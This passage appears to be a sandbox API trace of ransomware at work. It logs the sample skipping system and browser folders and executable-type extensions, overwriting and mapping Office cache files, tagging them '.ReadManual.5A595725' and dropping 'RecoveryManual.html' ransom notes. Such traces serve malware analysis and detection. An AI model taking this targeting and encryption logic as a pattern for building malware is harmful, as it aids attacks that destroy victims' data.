(psz1="cab", psz2="vbs") returned -1 [0180.001] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0180.001] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0180.001] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0180.001] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" [0180.001] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.ReadManual.5A595725" [0180.001] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.ReadManual.5A595725") returned 96 [0180.001] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30067005815) returned 1 [0180.001] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0180.002] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0180.002] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=9958388) returned 1 [0180.002] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x97f3f4, lpName=0x0) returned 0x194 [0180.002] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0180.002] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.002] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0180.004] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0180.004] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x97f3f4) returned 0x4350000 [0180.806] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0180.908] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30157704092) returned 1 [0180.908] CloseHandle (hObject=0x194) returned 1 [0180.908] SetSecurityInfo () returned 0x57 [0180.908] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0180.908] CloseHandle (hObject=0x190) returned 1 [0180.909] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0180.909] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0180.909] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0180.909] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0180.909] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0180.909] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0180.909] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0180.909] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0180.909] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0180.909] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0180.909] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0180.909] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0180.909] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0180.909] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0180.909] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0180.910] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0180.910] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0180.910] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0180.910] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" [0180.910] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0180.910] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0180.910] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30157849714) returned 1 [0180.910] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0180.910] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0180.911] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1608) returned 1 [0180.911] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x648, lpName=0x0) returned 0x194 [0180.911] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0180.911] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.911] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0180.913] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0180.913] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x648) returned 0x2f0000 [0180.914] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0180.914] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30158234614) returned 1 [0180.914] CloseHandle (hObject=0x194) returned 1 [0180.914] SetSecurityInfo () returned 0x57 [0180.914] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0180.914] CloseHandle (hObject=0x190) returned 1 [0180.915] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0180.915] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0180.915] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0180.915] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-001A-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C") returned="{90140000-001A-0409-1000-0000000FF1CE}-C" [0180.915] lstrcatW (in: lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned="{90140000-001A-0409-1000-0000000FF1CE}-C\\" [0180.915] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0180.916] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0180.916] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned 67 [0180.916] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0180.919] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" [0180.919] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.919] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0180.919] lstrcpyW (in: lpString1=0x6ab922, lpString2="OutlkLR.cab" | out: lpString1="OutlkLR.cab") returned="OutlkLR.cab" [0180.919] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="RecoveryManual.html") returned -1 [0180.919] StrStrIW (lpFirst="OutlkLR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0180.919] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0180.919] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0180.919] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0180.919] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0180.919] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0180.919] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0180.919] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0180.920] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0180.920] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0180.920] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0180.920] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0180.920] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0180.920] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0180.920] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0180.920] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" [0180.920] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.ReadManual.5A595725" [0180.920] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.ReadManual.5A595725") returned 98 [0180.920] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30158859348) returned 1 [0180.920] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0180.920] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0180.920] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=14819276) returned 1 [0180.920] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe21fcc, lpName=0x0) returned 0x194 [0180.920] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0180.921] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.921] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0180.923] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0180.923] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe21fcc) returned 0x4350000 [0181.420] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0181.546] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30221953308) returned 1 [0181.551] CloseHandle (hObject=0x194) returned 1 [0181.551] SetSecurityInfo () returned 0x57 [0181.551] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0181.551] CloseHandle (hObject=0x190) returned 1 [0181.552] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\" [0181.552] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0181.552] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0181.552] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0181.553] CloseHandle (hObject=0x190) returned 1 [0181.554] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0181.554] lstrcpyW (in: lpString1=0x6ab922, lpString2="OutlookMUI.msi" | out: lpString1="OutlookMUI.msi") returned="OutlookMUI.msi" [0181.554] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="RecoveryManual.html") returned -1 [0181.554] StrStrIW (lpFirst="OutlookMUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0181.554] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0181.554] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0181.554] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0181.554] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0181.554] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0181.554] lstrcpyW (in: lpString1=0x6ab922, lpString2="OutlookMUI.xml" | out: lpString1="OutlookMUI.xml") returned="OutlookMUI.xml" [0181.554] lstrcmpiW (lpString1="OutlookMUI.xml", lpString2="RecoveryManual.html") returned -1 [0181.554] StrStrIW (lpFirst="OutlookMUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0181.554] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0181.554] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0181.555] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" [0181.555] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.ReadManual.5A595725") 